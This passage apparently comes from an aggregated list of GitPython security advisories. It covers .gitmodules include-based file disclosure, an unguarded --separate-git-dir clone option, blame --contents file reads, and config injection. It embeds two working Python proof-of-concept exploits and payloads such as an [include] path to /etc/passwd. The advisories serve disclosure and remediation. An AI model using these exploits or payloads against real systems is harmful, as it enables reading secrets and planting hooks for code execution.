(`SubmoduleConfigParser` never disables `merge_includes`) - **CWE:** CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path) - **Affected component:** `git/objects/submodule/base.py`, `Submodule._config_parser()` (~line 273) constructing `SubmoduleConfigParser(fp_module, read_only=read_only)`; `git/config.py`, `GitConfigParser.__init__` (`merge_includes` default), `GitConfigParser.read()`/`_included_paths()` (include-path resolution, ~lines 630-685), `GitConfigParser._read()` (~line 493-498, `MissingSectionHeaderError`) - **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`) ##### Reachability `GitConfigParser.__init__` defaults `merge_includes=True`: any config file it parses has its `[include]` (and, when a `repo=` is supplied, `[includeIf ...]`) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit `41ecc6a4` ("Disable merge_includes in config writers"), which passes `merge_includes=False` when `Repo.config_writer()` builds its parser (`git/repo/base.py`). That fix never touched `Submodule._config_parser()`. This method builds the parser used for **every** read of a repo's submodule configuration — `repo.submodules`, `Submodule.iter_items()`, `Submodule.config()` — via `SubmoduleConfigParser(fp_module, read_only=read_only)`, passing neither `merge_includes=False` nor `repo=`. The `True` class default is therefore inherited unchanged, and `fp_module` here is `.gitmodules` — **the single most attacker-controlled config file in the entire codebase**, since it ships verbatim as tracked content inside any cloned repository. `GitConfigParser.read()`'s include-path resolution (~line 662-680) performs no containment check: `osp.isabs(include_path)` short-circuits the path join entirely for an absolute path, and a relative path is joined with `osp.join(osp.dirname(file_path), include_path)` / `osp.normpath()`'d with no check that the result stays under the repository. `~` is expanded via `osp.expanduser`. The only gate before opening is `os.access(include_path, os.R_OK)` — a readability check, not a path restriction. Once opened, `GitConfigParser._read()` parses the target file as git-config INI. If the first non-blank/non-comment line is not a `[section]` header — true of virtually any non-gitconfig file (source code, `/etc/passwd`, `.env` files, credential files, logs, JSON/YAML) — it raises `configparser.MissingSectionHeaderError(fpname, lineno, line)`. Python's stdlib formats this exception's `str()` as `"File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line)` — it embeds the **verbatim content** of that file's first line in the exception message. `Submodule.iter_items()` catches only `(IOError, BadName)`, not `configparser.Error`, so this exception propagates straight out of the ordinary, read-only `repo.submodules` call. ##### Root cause Parity gap between two config-parser construction sites for the exact same footgun: `Repo.config_writer()` was hardened against `merge_includes` in 2023 (`41ecc6a4`); `Submodule._config_parser()` — which parses `.gitmodules`, content that is *always* attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule *write*-mode config parser at `git/objects/submodule/base.py` for `.git/modules/<name>/config` — a different, locally-generated file — has correctly passed `merge_includes=False` since 2022, underscoring that the omission for `.gitmodules` reads looks like an oversight rather than a considered exception.) ##### Exploit path 1. Attacker crafts a repository whose `.gitmodules` contains a legitimate-looking `[submodule ...]` section plus: ``` [include] path = /etc/passwd ``` (an absolute path bypasses any traversal reasoning entirely; a relative `../../../../etc/passwd`-style path works too). 2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules: `list(repo.submodules)` (or any `for sm in repo.submodules`) — no `update()`, `init()`, or checkout of any kind required. 3. `SubmoduleConfigParser` (inheriting `merge_includes=True`) follows the `[include]` directive, opens `/etc/passwd`, and `GitConfigParser._read()` raises `MissingSectionHeaderError` whose message embeds `/etc/passwd`'s first line verbatim. 4. This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on `repo.submodules` — disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error). ##### Impact Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first `MissingSectionHeaderError`), but that line very often *is* the secret — `.env` files (`DATABASE_URL=...`, `API_KEY=...`), single-line credential/token files, `/etc/passwd`'s root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly **blind** `GHSA-cwvm-v4w8-q58c` ("Blind local file inclusion", CVSS 4.0, `git/refs/symbolic.py` ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (`git/config.py`'s include resolution). ##### Preconditions - Victim clones (or otherwise opens with GitPython) a repository whose `.gitmodules` is attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for). - Victim performs any operation that touches `repo.submodules` — one of the most ordinary GitPython operations, requiring no submodule `update`/`init`/checkout. - No authentication/role requirement inside GitPython itself. ##### Evidence - `git/config.py` — `GitConfigParser.__init__` defaults `merge_includes=True`. - `git/objects/submodule/base.py:273` — `SubmoduleConfigParser(fp_module, read_only=read_only)` passes neither `merge_includes` nor `repo=`; `git blame` shows this call unchanged since the class was introduced, and `git show 41ecc6a4` confirms that commit touched only `git/repo/base.py`'s `Repo.config_writer()`, never this call site. - `git/config.py` `_included_paths()`/`read()` (~630-685) — absolute include paths bypass the join/normpath entirely (`osp.isabs()` short-circuit); no repository-boundary containment check exists anywhere in this path. - `git/config.py` `_read()` (~493-498) — raises `cp.MissingSectionHeaderError(fpname, lineno, line)` with the raw file line embedded, matching Python stdlib `configparser`'s own `__str__` behavior. - `Submodule.iter_items()` catches only `(IOError, BadName)` — `configparser.Error` (the base of `MissingSectionHeaderError`) is not swallowed. - PoC (`gitpython-003-poc.py`, embedded below) reproduces this end-to-end against this exact checkout via the public API only (`Repo.clone_from` + `list(repo.submodules)`, default arguments, no monkeypatching), against both a throwaway secret file and `/etc/passwd`. ##### False-positive check (adversarial re-read) - **Is this the same bug as `GHSA-hmq2-w58f-27jc`?** No — that advisory is about the `.gitmodules` submodule *name* driving `_module_abspath`/`os.makedirs()` (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the `[include]` directive in the *same file* reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation). - **Is this the same bug as `GHSA-cwvm-v4w8-q58c` (blind LFI)?** No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in `git/refs/symbolic.py`'s ref-name resolution feeding `Repo.commit`/`tree`/`index.diff` — an entirely different module and code path. This finding discloses actual file content via `git/config.py`'s include-directive resolution. - **Is the impact overstated given only one line leaks?** No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard `clone_from` + `list(repo.submodules)` workflow. - **Could the exception simply be silently swallowed by GitPython before reaching the caller?** No — confirmed by reading `Submodule.iter_items()`'s exception handling, which catches only `IOError`/`BadName`; `configparser.MissingSectionHeaderError` propagates uncaught. - Verdict: no concrete blocker found. **CONFIRMED** — reproduced independently against both a throwaway secret file and `/etc/passwd`. ##### Remediation Pass `merge_includes=False` when constructing `SubmoduleConfigParser` in `Submodule._config_parser()` (`git/objects/submodule/base.py`), mirroring the existing fix in `Repo.config_writer()` (commit `41ecc6a4`) — `.gitmodules` content is always attacker-controlled and should never be allowed to pull in `include`/`includeIf` directives. As defense in depth, `GitConfigParser.read()`'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (`MissingSectionHeaderError`/`ParsingError`) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open. ##### Confidence High. Root cause confirmed by direct code reading across both `git/config.py` and `git/objects/submodule/base.py`, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and `/etc/passwd`). ##### Proof-of-Concept source (`gitpython-003-poc.py`) ```python #!/usr/bin/env python3 """ GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped inside a cloned repository -- can contain `[include] path = <any local path>`. `Submodule._config_parser()` builds the parser used for `repo.submodules` (and other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)` without passing `merge_includes=False`, so the class default `merge_includes=True` is inherited. GitConfigParser then opens the target file; if it isn't valid git-config syntax (true of virtually any non-gitconfig file), Python's `configparser.MissingSectionHeaderError` embeds the file's first line verbatim in its exception message, which propagates out of the ordinary, read-only `repo.submodules` call -- a non-blind local file content disclosure primitive. Run: PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file> Benign: reads only the given <target-file> (defaults to a throwaway secret file created under <workdir> if omitted) and never writes/exfiltrates it anywhere except printing it locally to prove the primitive. No destructive action. """ import os import subprocess import sys def main(): workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc" target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt") attacker_repo = os.path.join(workdir, "attacker-repo") dest = os.path.join(workdir, "dest") for p in (attacker_repo, dest): os.makedirs(p, exist_ok=True) if not os.path.exists(target_file): os.makedirs(os.path.dirname(target_file), exist_ok=True) with open(target_file, "w") as f: f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n") subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True) subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True) subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True) with open(os.path.join(attacker_repo, "file.txt"), "w") as f: f.write("hello\n") with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f: f.write( '[submodule "totally-normal-dep"]\n' "\tpath = vendor/dep\n" "\turl = https://example.com/dep.git\n" "[include]\n" "\tpath = %s\n" % target_file ) subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True) subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True) import git # gitpython under test import configparser repo = git.Repo.clone_from(attacker_repo, dest) try: subs = list(repo.submodules) print("NOT VULNERABLE: no exception raised, submodules =", subs) sys.exit(1) except configparser.MissingSectionHeaderError as e: msg = str(e) print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:") print(msg) with open(target_file) as f: first_line = f.readline().rstrip("\n") if first_line in msg: print("Confirmed: target file's first line is present verbatim in the exception message.") sys.exit(0) else: print("NOT VULNERABLE: exception message did not contain the expected content") sys.exit(1) if __name__ == "__main__": main() ``` #### Severity - CVSS Score: 8.6 / 10 (High) - Vector String: `CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q) - [https://nvd.nist.gov/vuln/detail/CVE-2026-78675](https://nvd.nist.gov/vuln/detail/CVE-2026-78675) - [https://github.com/gitpython-developers/GitPython/pull/2211](https://github.com/gitpython-developers/GitPython/pull/2211) - [https://github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54dcdff8c3b5c](https://github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54dcdff8c3b5c) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59) - [https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml) - [https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules](https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-7833-fr7j-v32q) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary git-directory creation outside the destination [CVE-2026-78677](https://nvd.nist.gov/vuln/detail/CVE-2026-78677) / [GHSA-8mcc-hrx5-hvxc](https://github.com/advisories/GHSA-8mcc-hrx5-hvxc) / PYSEC-2026-3787 <details> <summary>More information</summary> #### Details - **CWE:** CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the "escapes intended base directory" sense) - **Affected component:** `git/repo/base.py`, `Repo.unsafe_git_clone_options` (class attribute, lines 153-165) and `Repo._clone()` (lines 1477-1520), reached via the public `Repo.clone_from()` (line 1626) and `Repo.clone()` (line 1567) APIs. - **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`) ##### Reachability `Repo.clone_from(url, to_path, **kwargs)` (and `Repo.clone()`) forward arbitrary keyword arguments to the underlying `git clone` invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (`Git._option_candidates`) and checks it against a denylist, `Repo.unsafe_git_clone_options`, via `Git.check_unsafe_options()` — *unless* the caller passes `allow_unsafe_options=True`. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (`--template`, `--upload-pack`, `--config`, `--exec`, `--output`, `--index-output`, `--pathspec-from-file`, etc.). `git clone` also accepts `--separate-git-dir=<path>`, which redirects the repository's entire `.git` metadata directory to an **arbitrary, caller-controlled filesystem path**, leaving only a gitlink text file (`gitdir: <path>`) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: `Repo.unsafe_git_init_options` (line 145-150) blocks `--separate-git-dir` for `Repo.init()`, with the comment *"Redirects the repository metadata to a caller-controlled path"*. The `Repo._clone()`/`clone()`/`clone_from()` docstring (line 1450-1452) is even more explicit: ``` :param allow_unsafe_options: Allow unsafe options to be used, such as ``--template`` and ``--separate-git-dir``. ``` i.e. the maintainers' own documentation states that `allow_unsafe_options=False` (the default) is supposed to block `--separate-git-dir` for clone. But **`Repo.unsafe_git_clone_options` does not contain it**: ```python unsafe_git_clone_options = [ "--upload-pack", "-u", "--config", "-c", "--template", "--bundle-uri", ] ``` So any application that forwards a `separate_git_dir` (or `separate-git-dir`) kwarg into `Repo.clone_from()` / `Repo.clone()` — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling `--template`/`--upload-pack`/`--config` entries in this same list — gets **no protection at all** for `--separate-git-dir`, even with the default `allow_unsafe_options=False`. ##### Root cause Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): `unsafe_git_init_options` correctly lists `--separate-git-dir`; `unsafe_git_clone_options`, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible for `GHSA-539m-9xh6-q6rr` (`archive` denylist missing `--add-file`/`--add-virtual-file`) and `GHSA-6p8h-3wgx-97gf` (`clone` denylist missing `--template`, since fixed). ##### Exploit path 1. Attacker-controlled input reaches a `separate_git_dir=...` (or equivalently `"separate-git-dir"`) keyword argument passed into `Repo.clone_from()` / `Repo.clone()` by the host application, with `allow_unsafe_options` left at its default `False`. 2. `Git._option_candidates()` renders this as `--separate-git-dir` and `Git.check_unsafe_options()` checks it against `Repo.unsafe_git_clone_options` — no match, no `UnsafeOptionError` raised. 3. `Git.transform_kwargs()` renders the same kwarg into the real command line as `--separate-git-dir=<attacker path>` and GitPython executes `git clone -v --separate-git-dir=<attacker path> -- <url> <dest>` via `subprocess` (no shell). 4. `git` itself creates the full repository metadata tree (`config`, `description`, `HEAD`, `hooks/`, `index`, `objects/`, `refs/`, `packed-refs`, `logs/`) at the attacker-specified path — which can be **any path outside the intended clone destination** that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it. ##### Impact Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity `GHSA-hmq2-w58f-27jc` ("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely: - Planting a git repository structure (including a `hooks/` directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to. - If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository's `.git`, a shared cache path, a predictable temp location), the clone silently populates/overwrites `config`, `HEAD`, `hooks/*`, `refs/*`, `packed-refs`, and `index` there — an integrity violation of a resource outside the intended destination. - Combined with any later operation that runs `git` against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for `--template` in `GHSA-9rj7-rf2p-w77r`. ##### Preconditions - The calling application forwards a caller-influenced value into a `separate_git_dir` kwarg of `Repo.clone_from()`/`Repo.clone()` (or into the `multi_options` list as a raw `--separate-git-dir=...` token) without itself validating/rejecting it, and does not pass `allow_unsafe_options=True` intentionally. This is the identical trust model GitPython's own denylist already defends for `--template`/`--upload-pack`/`--config`/`--bundle-uri` on the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted. - No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present. ##### Evidence - `git/repo/base.py:145-151` — `unsafe_git_init_options` includes `"--separate-git-dir"` with the comment "Redirects the repository metadata to a caller-controlled path". - `git/repo/base.py:153-165` — `unsafe_git_clone_options` (the list actually enforced on `_clone`) does **not** include `"--separate-git-dir"`. - `git/repo/base.py:1450-1452` — docstring of `clone_from`/`clone` explicitly documents `--separate-git-dir` as one of the options `allow_unsafe_options` is supposed to gate. - `git/repo/base.py:1495-1518` — `_clone()` special-cases `separate_git_dir` only to `Git.polish_url()` it (path normalization for URL-like values), then runs it through `Git.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)` — which, per the list above, does not flag it. - PoC (`gitpython-001-poc.py`, embedded below) run against this exact checkout confirms the option reaches the real `git clone` subprocess unguarded and creates a full git directory outside the destination path, with `allow_unsafe_options` at its default `False`. ##### False-positive check (adversarial re-read) - **Is there a value-level check that would still stop this?** No — `check_unsafe_options` only inspects option *names* (via `_canonicalize_option_name`) against the denylist; it performs no filesystem/path validation on `separate_git_dir`'s value, and no other guard in `_clone()` touches this kwarg besides the `Git.polish_url()` normalization (which does not reject arbitrary paths). - **Is `--separate-git-dir` perhaps a no-op or safely sandboxed for `clone` specifically (unlike `init`)?** No — confirmed empirically: the option reaches the real `git` binary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path. - **Could this be the exact bug already covered by one of the 26 published GHSAs?** Checked all 26 entries in `_known-advisories.json` (Filter 0): `GHSA-9rj7-rf2p-w77r` covers `--template` in `Repo.init`; `GHSA-6p8h-3wgx-97gf` covers `--template` in clone (already fixed, present in `unsafe_git_clone_options`); `GHSA-hmq2-w58f-27jc` covers arbitrary repo creation via unvalidated **`.gitmodules` submodule names** (a different code path — `Submodule`, not `Repo.clone_from()` kwargs). None reference `--separate-git-dir` on the clone path. This is a distinct, currently-unpatched gap. - **Does this require an unrealistic precondition?** The precondition (host app forwards a kwarg into `clone_from`/`clone`) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (`--template`, `--upload-pack`, `--config`, `--bundle-uri`) — i.e. it is the same threat model the guard exists to cover, just missing one entry. - Verdict: no concrete blocker found. **CONFIRMED.** ##### Remediation Add `"--separate-git-dir"` (and its `-` alias if git ever adds one — currently there is none) to `Repo.unsafe_git_clone_options` in `git/repo/base.py`, matching `unsafe_git_init_options`. Since `Repo._clone()` already special-cases `separate_git_dir` for `Git.polish_url()` normalization, the fix is a one-line addition to the existing list, consistent with how `GHSA-6p8h-3wgx-97gf` added `--template` to the same list. ##### Confidence High. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found. ##### Proof-of-Concept source (`gitpython-001-poc.py`) ```python #!/usr/bin/env python3 """ GITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in unsafe_git_clone_options, so it reaches `git clone` unguarded and writes a full git directory (config, hooks/, objects/, refs/, ...) to an attacker-controlled path OUTSIDE the intended destination directory, with allow_unsafe_options left at its default of False. Run against the GitPython source tree under test, e.g.: PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-001-poc.py <workdir> Benign: only writes/reads inside the given workdir. No destructive/exfiltrating payload. Exits non-zero and prints "NOT VULNERABLE" if the guard blocks the option or the write does not escape the destination directory. """ import os import sys import subprocess def main(): workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-001-poc" src = os.path.join(workdir, "src") dest = os.path.join(workdir, "dest") sentinel_dir = os.path.join(workdir, "OUTSIDE_SENTINEL") target_gitdir = os.path.join(sentinel_dir, "redirected.git") for p in (src, dest, sentinel_dir): os.makedirs(p, exist_ok=True) # Minimal benign source repo to clone from. subprocess.run(["git", "init", "-q", "-b", "main", src], check=True) subprocess.run(["git", "-C", src, "config", "user.email", "test@example.com"], check=True) subprocess.run(["git", "-C", src, "config", "user.name", "Test"], check=True) with open(os.path.join(src, "file.txt"), "w") as f: f.write("hello\n") subprocess.run(["git", "-C", src, "add", "file.txt"], check=True) subprocess.run(["git", "-C", src, "commit", "-q", "-m", "init"], check=True) import git # gitpython under test print("unsafe_git_clone_options =", git.Repo.unsafe_git_clone_options) assert "--separate-git-dir" not in git.Repo.unsafe_git_clone_options, ( "guard now includes --separate-git-dir; PoC no longer applicable, target patched" ) try: repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir) except git.exc.UnsafeOptionError as e: print("NOT VULNERABLE: blocked by UnsafeOptionError:", e) sys.exit(1) wrote_outside = os.path.isdir(os.path.join(target_gitdir, "hooks")) and os.path.isfile( os.path.join(target_gitdir, "config") ) gitlink_points_outside = False with open(os.path.join(dest, ".git")) as f: gitlink = f.read().strip() gitlink_points_outside = target_gitdir in gitlink print("repo.git_dir =", repo.git_dir) print("wrote git directory outside dest (sentinel) =", wrote_outside) print("dest/.git gitlink points outside dest =", gitlink_points_outside) if wrote_outside and gitlink_points_outside: print("VULNERABLE: git directory created at attacker-controlled path " f"outside the clone destination: {target_gitdir}") sys.exit(0) else: print("NOT VULNERABLE: sentinel not observed") sys.exit(1) if __name__ == "__main__": main() ``` #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc) - [https://nvd.nist.gov/vuln/detail/CVE-2026-78677](https://nvd.nist.gov/vuln/detail/CVE-2026-78677) - [https://github.com/gitpython-developers/GitPython/pull/2210](https://github.com/gitpython-developers/GitPython/pull/2210) - [https://github.com/gitpython-developers/GitPython/commit/b68afff45af0f49e79a3e2d2162018986b37ad5d](https://github.com/gitpython-developers/GitPython/commit/b68afff45af0f49e79a3e2d2162018986b37ad5d) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59) - [https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3787.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3787.yaml) - [https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir](https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-8mcc-hrx5-hvxc) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-78675](https://nvd.nist.gov/vuln/detail/CVE-2026-78675) / [GHSA-7833-fr7j-v32q](https://github.com/advisories/GHSA-7833-fr7j-v32q) / PYSEC-2026-3785 <details> <summary>More information</summary> #### Details GitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file's first line verbatim in the exception message. #### Severity - CVSS Score: 7.8 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules](https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3785) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### [CVE-2026-78676](https://nvd.nist.gov/vuln/detail/CVE-2026-78676) / [GHSA-284h-m62q-gf8w](https://github.com/advisories/GHSA-284h-m62q-gf8w) / PYSEC-2026-3786 <details> <summary>More information</summary> #### Details GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation. #### Severity - CVSS Score: 9.3 / 10 (Critical) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X` #### References - [https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection](https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3786) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### [CVE-2026-78677](https://nvd.nist.gov/vuln/detail/CVE-2026-78677) / [GHSA-8mcc-hrx5-hvxc](https://github.com/advisories/GHSA-8mcc-hrx5-hvxc) / PYSEC-2026-3787 <details> <summary>More information</summary> #### Details GitPython before 3.1.59 omits --separate-git-dir from unsafe_git_clone_options, allowing attackers to create arbitrary git directories outside the intended clone destination. Attackers can pass a separate_git_dir parameter to Repo.clone_from() or Repo.clone() to redirect repository metadata to an attacker-controlled filesystem path, enabling arbitrary directory creation and potential hook execution. #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X` #### References - [https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir](https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3787) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### [CVE-2026-78678](https://nvd.nist.gov/vuln/detail/CVE-2026-78678) / [GHSA-5xxx-qhh7-9287](https://github.com/advisories/GHSA-5xxx-qhh7-9287) / PYSEC-2026-3788 <details> <summary>More information</summary> #### Details GitPython versions before 3.1.59 contain an incomplete denylist in the unsafe_git_revision_options guard that omits --contents and -S options, allowing attackers to read arbitrary files by passing these options to Repo.blame(). Attackers can supply revision values like --contents=/etc/passwd to leak file contents through the blame result returned to the caller. #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X` #### References - [https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-repo-blame](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-repo-blame) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-5xxx-qhh7-9287](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-5xxx-qhh7-9287) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3788) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: TagReference.create positional reference bypasses kwargs-only --file guard, enabling arbitrary file read (incomplete fix of 3af0c251) [CVE-2026-78679](https://nvd.nist.gov/vuln/detail/CVE-2026-78679) / 